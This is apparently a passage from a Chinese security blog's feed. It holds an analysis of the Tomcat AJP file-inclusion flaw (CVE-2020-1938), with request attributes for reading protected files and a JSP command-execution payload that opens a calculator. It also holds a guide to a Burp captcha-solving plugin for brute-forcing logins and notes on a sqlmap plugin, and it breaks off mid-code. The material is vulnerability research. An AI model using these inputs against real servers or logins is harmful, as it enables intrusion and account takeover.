<content type="html"><![CDATA[<h2 id="0x01-漏洞简介"><a href="#0x01-漏洞简介" class="headerlink" title="0x01 漏洞简介"></a>0x01 漏洞简介</h2><p>Tomcat根据默认配置(<code>conf/server.xml</code>)启动两个连接器。一个是<code>HTTP Connector</code>默认监听<code>8080</code>端口处理HTTP请求,一个<code>AJP connector</code>默认<code>8009</code>端口处理AJP请求。Tomcat处理两个协议请求区别并不大,AJP协议相当于HTTP协议的二进制优化版。</p><p><img src="/articles/2020/cve-2020-1938-tomcat-ajp-lfi/7F9C15E2-870C-45ED-914E-61663896B504.png" alt="tomcat默认配置两个连接器"></p><p><strong>本次漏洞出现在通过设置AJP请求属性,可控制AJP连接器封装的request对象的属性,最终导致文件包含可以任意文件读取和代码执行。</strong> 下面我们以<code>Tomcat 8.5.47</code>来具体分析。</p><h2 id="0x02-漏洞分析"><a href="#0x02-漏洞分析" class="headerlink" title="0x02 漏洞分析"></a>0x02 漏洞分析</h2><p>当我们向Tomcat发送AJP请求时,请求会被<code>org.apache.coyote.ajp.AjpProcessor</code>,<code>AjpProcessor</code>调用<code>prepareRequest</code>方法读取AJP请求中的信息来设置request属性。</p><p><img src="/articles/2020/cve-2020-1938-tomcat-ajp-lfi/61F07938-9006-4490-AC56-738540E76D23.png" alt="对request对象属性进行设置"></p><p>由于没有任何过滤,我们可以给<code>request</code>设置任何属性和值。本次漏洞与如下三个属性有关,为了方便后续描述统一简称为“<code>三个include属性</code>”。</p><ul><li>javax.servlet.include.request_uri</li><li>javax.servlet.include.path_info</li><li>javax.servlet.include.servlet_path</li></ul><p>最终会将封装好的<code>request</code>丢给<code>Servlet</code>容器<code>Catalina</code>处理,之后就和HTTP消息的处理一样,按照Servlet映射走。</p><h4 id="2-1-任意文件读取"><a href="#2-1-任意文件读取" class="headerlink" title="2.1 任意文件读取"></a>2.1 任意文件读取</h4><p>任意文件读取问题出现在<code>org.apache.catalina.servlets.DefaultServlet</code>这个Servlet。现在假设我们发出一个请求内容如下的AJP请求</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">RequestUri:/docs/test.jpg</span><br><span class="line">javax.servlet.include.request_uri: /</span><br><span class="line">javax.servlet.include.path_info: WEB-INF/web.xml</span><br><span class="line">javax.servlet.include.servlet_path: /</span><br></pre></td></tr></table></figure><p>通过查看servlet映射规则(<code>conf/web.xml</code>)知道,请求会走默认的<code>DefaultServlet</code>。</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line"><span class="tag"><<span class="name">servlet</span>></span></span><br><span class="line"><span class="tag"><<span class="name">servlet-name</span>></span>default<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"><span class="tag"><<span class="name">servlet-class</span>></span>org.apache.catalina.servlets.DefaultServlet<span class="tag"></<span class="name">servlet-class</span>></span></span><br><span class="line"><span class="tag"><<span class="name">init-param</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-name</span>></span>debug<span class="tag"></<span class="name">param-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-value</span>></span>0<span class="tag"></<span class="name">param-value</span>></span></span><br><span class="line"><span class="tag"></<span class="name">init-param</span>></span></span><br><span class="line"><span class="tag"><<span class="name">init-param</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-name</span>></span>listings<span class="tag"></<span class="name">param-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-value</span>></span>false<span class="tag"></<span class="name">param-value</span>></span></span><br><span class="line"><span class="tag"></<span class="name">init-param</span>></span></span><br><span class="line"><span class="tag"><<span class="name">load-on-startup</span>></span>1<span class="tag"></<span class="name">load-on-startup</span>></span></span><br><span class="line"><span class="tag"></<span class="name">servlet</span>></span></span><br><span class="line">...</span><br><span class="line"><span class="comment"><!-- The mapping for the default servlet --></span></span><br><span class="line"><span class="tag"><<span class="name">servlet-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>default<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>/<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"><span class="tag"></<span class="name">servlet-mapping</span>></span></span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>会交给<code>org.apache.catalina.servlets.DefaultServlet</code>的<code>doGet</code>方法处理。<code>doGet</code>会调用<code>ServeResource</code>方法进行具体的资源读取操作。首先它会调用 <code>getRelativePath</code>方法获取要读取资源的相对路径,这里注意它是本次任意读取漏洞的关键,我们先往下看后续再细说它。通过<code>getResources</code>方法就可以获取到了对应路径的Web资源对象了。</p><p><img src="/articles/2020/cve-2020-1938-tomcat-ajp-lfi/443FAD03-C388-4EC9-BB1C-90FA1AA30396.png" alt="ServeResource文件读取操作"></p><p>最后资源对象的内容随着<code>resourceBody</code>被写入了<code>ostream</code>流对象中返回给客户端。</p><p><img src="/articles/2020/cve-2020-1938-tomcat-ajp-lfi/41165822-5864-456D-82D2-F537D3BEA2DB.png" alt="资源对象内容被写入ostream"></p><p>接下来我们来看漏洞真正核心,<code>org.apache.catalina.servlets.DefaultServlet</code>类的<code>getRelativePath()</code>,它负责获取资源的相对路径。由于我们AJP请求设置<code>javax.servlet.include.request_uri</code>属性值为<code>/</code>不为<code>null</code>。故资源<br>的相对路径构造如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">= javax.servlet.include.path_info + javax.servlet.include.path_info</span><br><span class="line">= / + WEB-INF/web.xml</span><br><span class="line">= /WEB-INF/web.xml</span><br></pre></td></tr></table></figure><p><img src="/articles/2020/cve-2020-1938-tomcat-ajp-lfi/getRelativePath.png" alt="getRelativePath根据三个include属性获取资源相对路径"></p><p>这就导致我们虽然请求的是<code>/docs/test.jpg</code>文件内容,而实际上返回了<code>/docs/WEB-INF/web.xml</code>文件的内容。</p><p>至此大家可能有两个疑问</p><p><strong>问题1:为何Tomcat处理HTTP协议不存在该问题?</strong></p><p>答:因为在HTTP请求中,我们无法控制request对象三个<code>include</code>属性的值,而在AJP请求中可以。</p><p><strong>问题2:为何无法跳出webapps目录读文件呢?</strong></p><p><code>DefaultServlet</code>在读取资源时</p><p><img src="/articles/2020/cve-2020-1938-tomcat-ajp-lfi/2A1EE7C0-797C-4EF0-A60C-62BEE428403E.png" alt="跳目录读文件"></p><p>会调用<code>org.apache.tomcat.util.http.RequestUtil</code>工具类中的<code>normalize</code>方法来对路径进行校验,如果存在<code>./</code>或<code>../</code>则会返回<code>null</code>,最终会抛出一个非法路径的异常终止文件读取操作。</p><p><img src="/articles/2020/cve-2020-1938-tomcat-ajp-lfi/473B80B4-0C17-420D-B889-7017DD18B666.png" alt="normalize对路径进行校验导致无法跳目录"></p><h4 id="2-2-任意代码执行"><a href="#2-2-任意代码执行" class="headerlink" title="2.2 任意代码执行"></a>2.2 任意代码执行</h4><p>任意代码执行问题出现在<code>org.apache.jasper.servlet.JspServlet</code>这个servlet,假设我们发出一个请求内容如下的AJP请求,让Tomcat执行<code>/docs/test.jsp</code>,但实际上它会将<code>code.txt</code>当成jsp来解析执行.</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">RequestUri:/docs/test.jsp</span><br><span class="line">javax.servlet.include.request_uri: /</span><br><span class="line">javax.servlet.include.path_info: code.txt</span><br><span class="line">javax.servlet.include.servlet_path: /</span><br></pre></td></tr></table></figure><p>code.txt内容如下:</p><figure class="highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><%</span><br><span class="line">java.util.List<String> commands = <span class="keyword">new</span> java.util.ArrayList<String>();</span><br><span class="line">commands.add(<span class="string">"/bin/bash"</span>);</span><br><span class="line">commands.add(<span class="string">"-c"</span>);</span><br><span class="line">commands.add(<span class="string">"/Applications/Calculator.app/Contents/MacOS/Calculator"</span>);</span><br><span class="line">java.lang.ProcessBuilder pb = <span class="keyword">new</span> java.lang.ProcessBuilder(commands);</span><br><span class="line">pb.start();</span><br><span class="line">%></span><br></pre></td></tr></table></figure><p>按照映射规则,我们的请求会被<br><code>org.apache.jasper.servlet.JspServlet</code>进行处理。</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">servlet</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>jsp<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-class</span>></span>org.apache.jasper.servlet.JspServlet<span class="tag"></<span class="name">servlet-class</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">init-param</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-name</span>></span>fork<span class="tag"></<span class="name">param-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-value</span>></span>false<span class="tag"></<span class="name">param-value</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">init-param</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">init-param</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-name</span>></span>xpoweredBy<span class="tag"></<span class="name">param-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-value</span>></span>false<span class="tag"></<span class="name">param-value</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">init-param</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">load-on-startup</span>></span>3<span class="tag"></<span class="name">load-on-startup</span>></span></span><br><span class="line"><span class="tag"></<span class="name">servlet</span>></span></span><br><span class="line">...</span><br><span class="line"><span class="comment"><!-- The mappings for the JSP servlet --></span></span><br><span class="line"><span class="tag"><<span class="name">servlet-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>jsp<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>*.jsp<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>*.jspx<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"><span class="tag"></<span class="name">servlet-mapping</span>></span></span><br></pre></td></tr></table></figure><p>由于<code>javax.servlet.include.servlet_path</code>值为<code>/</code>不为<code>null</code>,所以根据代码逻辑我们jsp文件的路径为:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">jspUri = javax.servlet.include.servlet_path + javax.servlet.include.path_info</span><br><span class="line">jspUri = / + code.txt</span><br><span class="line">jspUri = /code.txt</span><br></pre></td></tr></table></figure><p>可见<code>jspUri</code>是客户端可控。</p><p><img src="/articles/2020/cve-2020-1938-tomcat-ajp-lfi/7EE0D33F-5FEA-4F9F-A944-9F3FA1CE1C4D.png" alt="jspUri的构造"></p><p>由我们控制的<code>jspuri</code>被封装成了一个<code>JspServletWrapper</code>添加到了Jsp运行上下文<code>JspRuntimeContext</code>中.最后<code>wrapper.service()</code>会编译<code>code.txt</code>,并执行它的<code>_jspService()</code>方法来处理当前请求,我们的代码被执行。</p><p><img src="/articles/2020/cve-2020-1938-tomcat-ajp-lfi/4D7B7BDF-CAFB-43F7-BF81-D4AB3EE44DFF.png" alt="code.txt被tomcat编译执行"></p><p><img src="/articles/2020/cve-2020-1938-tomcat-ajp-lfi/23BFC3AE-EC40-4DF3-AD0E-913A913B3F9E.png" alt="code.txt被tomcat编译执行"></p><p>综上整个过程就清晰了,简而言之就是我们发送AJP请求,请求的是<code>/docs/test.jsp</code>这个jsp,但是由于那三个include属性可控,我们可以将<code>test.jsp</code>对应的服务器脚本文件改为了<code>code.txt</code>。<br>导致tomcat把我们的<code>code.txt</code>当jsp文件编译运行,导致代码执行。</p><p>最后给大家提两个问题:</p><p><strong>问题1: 请求的/docs/test.jsp需要在web目录下真是存在么?</strong></p><p>答: 不需要,我们只是为了让请求路径命中<code>org.apache.catalina.servlets.DefaultServlet</code>这个servlet的匹配规则。</p><p><strong>问题2: 如果tomcat不解析任何jsp,jspx等后缀,或者以它们为view的模板,还能触发漏洞么?如果可以又该如何触发?</strong></p><p>PS:这个问题是一个师傅留给我的,觉得很有意思,分享给大家思考,有想法的可以留言讨论。</p><h2 id="0x03-漏洞修复"><a href="#0x03-漏洞修复" class="headerlink" title="0x03 漏洞修复"></a>0x03 漏洞修复</h2><p>Tomcat在8.5.51版本做了如下修复 :</p><ol><li>默认不开启AJP</li><li>默认只监听本地ip</li><li>强制设置认证secret</li><li>代码层面主要在<code>AjpProcessor</code>类的<code>prepareRequest</code>方法封装<code>requst</code>对象时采用了白名单,只添加已知属性。这样<code>三个include属性</code>不再被客户端控制,漏洞修复。</li></ol><p><img src="/articles/2020/cve-2020-1938-tomcat-ajp-lfi/E57AE140-7077-4F97-AEBD-5011AE8D8BCE.png" alt="修复代码"></p><h2 id="0x04-参考文章"><a href="#0x04-参考文章" class="headerlink" title="0x04 参考文章"></a>0x04 参考文章</h2><ul><li><a href="https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ" target="_blank" rel="noopener">【WEB安全】Tomcat-Ajp协议漏洞分析</a></li><li><a href="https://github.com/apache/tomcat/commit/b99fba5bd796d876ea536e83299603443842feba" target="_blank" rel="noopener">https://github.com/apache/tomcat/commit/b99fba5bd796d876ea536e83299603443842feba</a></li><li><a href="https://github.com/apache/tomcat/commit/40d5d93bd284033cf4a1f77f5492444f83d803e2" target="_blank" rel="noopener">https://github.com/apache/tomcat/commit/40d5d93bd284033cf4a1f77f5492444f83d803e2</a></li></ul>]]></content>
<summary type="html">
<h2 id="0x01-漏洞简介"><a href="#0x01-漏洞简介" class="headerlink" title="0x01 漏洞简介"></a>0x01 漏洞简介</h2><p>Tomcat根据默认配置(<code>conf/server.xml</code>)
</summary>
<category term="漏洞分析" scheme="https://gv7.me/categories/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
<category term="tomcat" scheme="https://gv7.me/tags/tomcat/"/>
</entry>
<entry>
<title>使用burp插件captcha-killer识别图片验证码</title>
<link href="https://gv7.me/articles/2019/burp-captcha-killer-usage/"/>
<id>https://gv7.me/articles/2019/burp-captcha-killer-usage/</id>
<published>2019-12-16T17:30:18.000Z</published>
<updated>2019-12-16T18:37:31.053Z</updated>
<content type="html"><![CDATA[<h2 id="0x01-开发背景"><a href="#0x01-开发背景" class="headerlink" title="0x01 开发背景"></a>0x01 开发背景</h2><p>说起对存在验证码的登录表单进行爆破,大部分人都会想到<code>PKav HTTP Fuzzer</code>,这款工具在前些年确实给我们带来了不少便利。反观burp一直没有一个高度自定义通杀大部分图片验证码的识别方案,于是抽了点闲暇的时间开发了<a href="https://github.com/c0ny1/captcha-killer" target="_blank" rel="noopener">captcha-kille</a>,希望burp也能用上各种好用的识别码技术。其设计理念是<code>只专注做好对各种验证码识别技术接口的调用!</code>说具体点就是burp通过同一个插件,就可以适配各种验证码识别接口,无需重复编写调用代码。今天不谈编码层面如何设计,感兴趣的可以去github看源码。此处只通过使用步骤来说明设计的细节。</p><h2 id="0x02-Step1-将获取验证码的数据包发送到插件"><a href="#0x02-Step1-将获取验证码的数据包发送到插件" class="headerlink" title="0x02 Step1:将获取验证码的数据包发送到插件"></a>0x02 Step1:将获取验证码的数据包发送到插件</h2><p>使用burp抓取获取验证码数据包,然后右键<code>captcha-killer</code> -> <code>send to captcha panel</code>发送数据包到插件的验证码请求面板。</p><p><img src="/articles/2019/burp-captcha-killer-usage/step1-1.png" alt="将请求验证码数据包发送到插件"></p><p>然后到切换到插件面板,点击获取即可拿到要识别的验证码图片内容。</p><p><img src="/articles/2019/burp-captcha-killer-usage/step1-2.png" alt="请求获取验证码"></p><p><strong>注意:获取验证码的cookie一定要和intruder发送的cookie相同!</strong></p><h2 id="0x03-Step2-配置识别接口的地址和请求包"><a href="#0x03-Step2-配置识别接口的地址和请求包" class="headerlink" title="0x03 Step2:配置识别接口的地址和请求包"></a>0x03 Step2:配置识别接口的地址和请求包</h2><p>拿到验证码之后,就要设置接口来进行识别了。我们可以使用网上寻找免费的接口,用burp抓包,然后右键发送到插件的接口请求面板。</p><p><img src="/articles/2019/burp-captcha-killer-usage/step2-1.png" alt="将接口调用请求发送到插件"></p><p>然后我们把图片内容的位置用标签来代替。比如该例子使用的接口是post提交image参数,参数的值为图片二进制数据的base64编码后的url编码。那么<code>Request template</code>(请求模版)面板应该填写如下:</p><p><img src="/articles/2019/burp-captcha-killer-usage/step2-2.png" alt="接口请求模版设置"></p><table><thead><tr><th align="center">ID</th><th align="left">标签</th><th align="left">描述</th></tr></thead><tbody><tr><td align="center">1</td><td align="left"><code><@IMG_RAW></@IMG_RAW></code></td><td align="left">代表验证码图片原二进制内容</td></tr><tr><td align="center">2</td><td align="left"><code><@URLENCODE></@URLENCODE></code></td><td align="left">对标签内的内容进行url编码</td></tr><tr><td align="center">3</td><td align="left"><code><@BASE64></@BASE64></code></td><td align="left">对标签内的内容进行base64编码</td></tr></tbody></table><p>最后点击“识别”即可获取到接口返回的数据包,同时在<code>request raw</code>可以看到调用接口最终发送的请求包。</p><p><img src="/articles/2019/burp-captcha-killer-usage/step2-3.png" alt="模版被渲染为最终的请求"></p><h2 id="0x03-Step3-设置用于匹配识别结果的规则"><a href="#0x03-Step3-设置用于匹配识别结果的规则" class="headerlink" title="0x03 Step3:设置用于匹配识别结果的规则"></a>0x03 Step3:设置用于匹配识别结果的规则</h2><p>通过上一步我们获取到了识别接口的返回结果,但是插件并不知道返回结果中,哪里是真正的识别结果。插件提供了4中方式进行匹配,可以根据具体情况选择合适的。</p><table><thead><tr><th align="center">ID</th><th align="left">规则类型</th><th align="left">描述</th></tr></thead><tbody><tr><td align="center">1</td><td align="left">Repose data</td><td align="left">这种规则用于匹配接口返回包内容直接是识别结果</td></tr><tr><td align="center">2</td><td align="left">Regular expression</td><td align="left">正则表达式,适合比较复杂的匹配。比如接口返回包<code>{"coede":1,"result":"abcd"}</code>说明abcd是识别结果,我们可以编写规则为<code>result":"(.*?)"\}</code></td></tr><tr><td align="center">3</td><td align="left">Define the start and end positions</td><td align="left">定义开始和结束位置,使用上面的例子,可以编写规则<code>{"start":21,"end":25}</code></td></tr><tr><td align="center">4</td><td align="left">Defines the start and end strings</td><td align="left">定义开始和结束字符,使用上面的例子,可以编写规则为<code>{"start":"result\":\","end":"\"\}"}</code></td></tr></tbody></table><p>通过分析我们知道,接口返回的json数据中,字段<code>words</code>的值为识别结果。我们这里使用<code>Regular expression</code>(正则表达式)来匹配,然后选择<code>yzep</code>右键<code>标记为识别结果</code>,系统会自动生成正则表达式规则<code>" (.*?)"\}\]</code>。</p><p><img src="/articles/2019/burp-captcha-killer-usage/step3-1.png" alt="设置匹配方式和自动生成规则"></p><p>注意:若右键标记自动生成的规则匹配不精确,可以人工进行微调。比如该例子中可以微调规则为<code>"words"\: "(.*?)"\}</code>将更加准确!</p><p>到达这步建议将配置好常用接口的url,数据包已经匹配规则保存为模版,方便下次直接通过右键<code>模板库</code>中快速设置。同时插件也有默认的模版供大家使用与修改。</p><p><img src="/articles/2019/burp-captcha-killer-usage/step3-2.png" alt="保存设置好的配置,方便下次快速配置"></p><h2 id="0x04-Step4-在Intruder模块调用"><a href="#0x04-Step4-在Intruder模块调用" class="headerlink" title="0x04 Step4:在Intruder模块调用"></a>0x04 Step4:在Intruder模块调用</h2><p>配置好各项后,可以点击<code>锁定</code>对当前配置进行锁定,防止被修改导致爆破失败!接着安装以下步骤进行配置</p><p><img src="/articles/2019/burp-captcha-killer-usage/step4-1.png" alt="设置Intruder的爆破模式和payload位置"></p><p><img src="/articles/2019/burp-captcha-killer-usage/step4-2.png" alt="验证码payload选择有插件来生成"></p><p><img src="/articles/2019/burp-captcha-killer-usage/step4-3.png" alt="进行爆破,可以通过对比识别结果看出识别率"></p><h2 id="0x05-使用小案例"><a href="#0x05-使用小案例" class="headerlink" title="0x05 使用小案例"></a>0x05 使用小案例</h2><p>后续将通过小案例来演示,如何通过captcha-killer让burp使用上各种技术识别验证码(免费方案),敬请期待!</p><ul><li>《captcha-killer调用tesseract-ocr识别验证码》[待发布]</li><li>《captcha-killer调用完美识别验证码系统》[待发布]</li><li>《captcha-killer调用百度ocr识别验证码》[待发布]</li><li>《capatch-killer+机器学习识别验证码》[待发布]</li></ul>]]></content>
<summary type="html">
<h2 id="0x01-开发背景"><a href="#0x01-开发背景" class="headerlink" title="0x01 开发背景"></a>0x01 开发背景</h2><p>说起对存在验证码的登录表单进行爆破,大部分人都会想到<code>PKav HTTP
</summary>
<category term="安全开发" scheme="https://gv7.me/categories/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91/"/>
<category term="burp" scheme="https://gv7.me/tags/burp/"/>
</entry>
<entry>
<title>重构sqlmap4burp插件</title>
<link href="https://gv7.me/articles/2019/refactoring-sqlmap4burp/"/>
<id>https://gv7.me/articles/2019/refactoring-sqlmap4burp/</id>
<published>2019-09-02T12:18:14.000Z</published>
<updated>2019-09-02T18:42:18.324Z</updated>
<content type="html"><![CDATA[<p>其实联动sqlmap与burp的插件挺多的,有<a href="https://code.google.com/p/gason/" target="_blank" rel="noopener">gson</a>,<a href="https://github.com/portswigger/co2" target="_blank" rel="noopener">CO2</a>,<a href="https://github.com/portswigger/sqli-py" target="_blank" rel="noopener">sqli-py</a>等等。但我独爱<a href="https://github.com/difcareer/sqlmap4burp" target="_blank" rel="noopener">sqlmap4burp</a>,因为它使用超简单。原来在Windows下体验还是很ok的,自从换上mac之后就不好使了。</p><a id="more"></a><p><code>sqlmap4burp</code>项目作者已经很久没有维护了,于是打算对其进行重构。新插件就叫<code>sqlmap4burp++</code>,表示感谢原作者的思路。<code>sqlmap4burp++</code>将<code>兼容更多操作系统</code>,<code>操作更加简单</code>,<code>界面更加简洁</code>!</p><h2 id="0x01-重构之路"><a href="#0x01-重构之路" class="headerlink" title="0x01 重构之路"></a>0x01 重构之路</h2><p>下面简单记录下重构做的一些小工作。</p><h3 id="1-1-去除多余依赖"><a href="#1-1-去除多余依赖" class="headerlink" title="1.1 去除多余依赖"></a>1.1 去除多余依赖</h3><p>原插件依赖<code>commons-io-<version>.jar</code>,<code>commons-langs-<version>.jar</code>这两个jar。但查看代码只是为了可以使用<code>FileUtils.writeByteArrayToFile()</code>和<code>StringUtils.isNoneBlank()</code>两个方法。<code>sqlmap4burp++</code>使用原生Java代码实现,让插件更轻量易编译。</p><h3 id="1-2-去除JTab控件"><a href="#1-2-去除JTab控件" class="headerlink" title="1.2 去除JTab控件"></a>1.2 去除JTab控件</h3><p>现在的Burp插件很丰富,Burp suite JTab控件太多界面会显得特别臃肿。</p><p><img src="/articles/2019/refactoring-sqlmap4burp/sqlmap4burp-tab.png" alt="sqlmap4burp的JTab控件"></p><p>考虑了下该插件并非特别需要JTab面板来添加sqlmap的配置命令,于是去除JTab控件该换成如下的弹窗。</p><p><img src="/articles/2019/refactoring-sqlmap4burp/sqlmap4burp-plus-plus-dlg.png" alt="sqlmap4burp++的弹框控件"></p><h3 id="1-3-多系统支持"><a href="#1-3-多系统支持" class="headerlink" title="1.3 多系统支持"></a>1.3 多系统支持</h3><p>插件会自动将Burp的request数据包保存为<code>xxx.req</code>到java临时目录,而多系统支持无非就是<strong>在目标系统下,能弹出命令行窗口并执行我们的<code>sqlmap -r xxx.req</code>命令</strong>,但各个系统实现的方式都有所不同!</p><h4 id="1-3-1-Windows"><a href="#1-3-1-Windows" class="headerlink" title="1.3.1 Windows"></a>1.3.1 Windows</h4><p>Windows实现比较简单,只需要将sqlmap命令保存为bat脚本(sqlmap4burp.bat),然后执行以下命令:</p><figure class="highlight bat"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cmd</span>.exe /c <span class="built_in">start</span> sqlmap4burp.bat</span><br></pre></td></tr></table></figure><p>实现代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">String command = <span class="string">"sqlmap.py -r xxxxx.req"</span>;</span><br><span class="line">List<String> cmds = <span class="keyword">new</span> ArrayList();</span><br><span class="line">cmds.add(<span class="string">"cmd.exe"</span>);</span><br><span class="line">cmds.add(<span class="string">"/c"</span>);</span><br><span class="line">cmds.add(<span class="string">"start"</span>);</span><br><span class="line">String batFilePath = Util.makeBatFile(<span class="string">"sqlmap4burp.bat"</span>,command); <span class="comment">//生成bat文件</span></span><br><span class="line">cmds.add(batFilePath);</span><br><span class="line"><span class="keyword">new</span> ProcessBuilder(cmds).start();</span><br></pre></td></tr></table></figure><h4 id="1-3-2-Mac-OS-X"><a href="#1-3-2-Mac-OS-X" class="headerlink" title="1.3.2 Mac OS X"></a>1.3.2 Mac OS X</h4><p>Mac下我们可以编写如下<code>osascript</code>脚本来调用Terminal并让它执行sqlmap命令。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">tell application "Terminal"</span><br><span class="line">activate</span><br><span class="line">do script "sqlmpa.py -r xxx.req"</span><br><span class="line">end tell</span><br></pre></td></tr></table></figure><p>实现代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">String command = <span class="string">"sqlmap.py -r xxxxx.req"</span>;</span><br><span class="line">List<String> cmds = <span class="keyword">new</span> ArrayList();</span><br><span class="line">cmds.add(<span class="string">"osascript"</span>);</span><br><span class="line">cmds.add(<span class="string">"-e"</span>);</span><br><span class="line">String cmd = <span class="string">"tell application \"Terminal\" \n"</span> +</span><br><span class="line"> <span class="string">" activate\n"</span> +</span><br><span class="line"> <span class="string">" do script \"%s\"\n"</span> +</span><br><span class="line"> <span class="string">"end tell"</span>;</span><br><span class="line">cmds.add(String.format(cmd,command));</span><br><span class="line"><span class="keyword">new</span> ProcessBuilder(cmds).start();</span><br></pre></td></tr></table></figure><p>这里需要注意两点:</p><ul><li>第一次运行,mac会提示是否允许外部程序执行osscript,记得允许!</li><li>有时莫名其妙调用osascript不成功,我们需要确保Terminal是运行状态,如果已经是运行状态,可以重启下。</li></ul><h4 id="1-3-3-Linux"><a href="#1-3-3-Linux" class="headerlink" title="1.3.3 Linux"></a>1.3.3 Linux</h4><p>Linux下想实现弹出命令行窗口同时执行命令,我尝试了很多方法,但是都没有成功的。比较接近想要效果的方法是先将sqlmap命令写到shell脚本中(<code>sqlmap4burp.sh</code>)。然后执行如下命令来运行<code>sqlmap4burp.sh</code>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gnome-terminal -t <span class="string">"sqlmap4burp"</span> -x bash -c <span class="string">"sh ./tmp/sqlmap4burp.sh;exec bash;"</span></span><br></pre></td></tr></table></figure><p>但使用代码去执行的时候并没有弹出<code>Terminal</code>。大家如果有解决方法,可以Fork <a href="https://github.com/c0ny1/sqlmap4burp-plus-plus" target="_blank" rel="noopener">sqlmap4burp++</a>项目贡献代码,或者发送想法到我的邮箱root#gv7.me。</p><p>目前采用临时的方法:先弹出<code>Terminal</code>窗口,然后将生成好的sqlmap命令复制剪贴板,最后手工在弹出的窗口中粘贴并执行。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">String command = <span class="string">"sqlmap.py -r xxxxx.req"</span>;</span><br><span class="line">List<String> cmds = <span class="keyword">new</span> ArrayList();</span><br><span class="line">cmds.add(<span class="string">"/bin/sh"</span>);</span><br><span class="line">cmds.add(<span class="string">"-c"</span>);</span><br><span class="line">cmds.add(<span class="string">"gnome-terminal"</span>);</span><br><span class="line">Util.setSysClipboardText(command); <span class="comment">//sqlmap命令到剪贴板</span></span><br><span class="line"><span 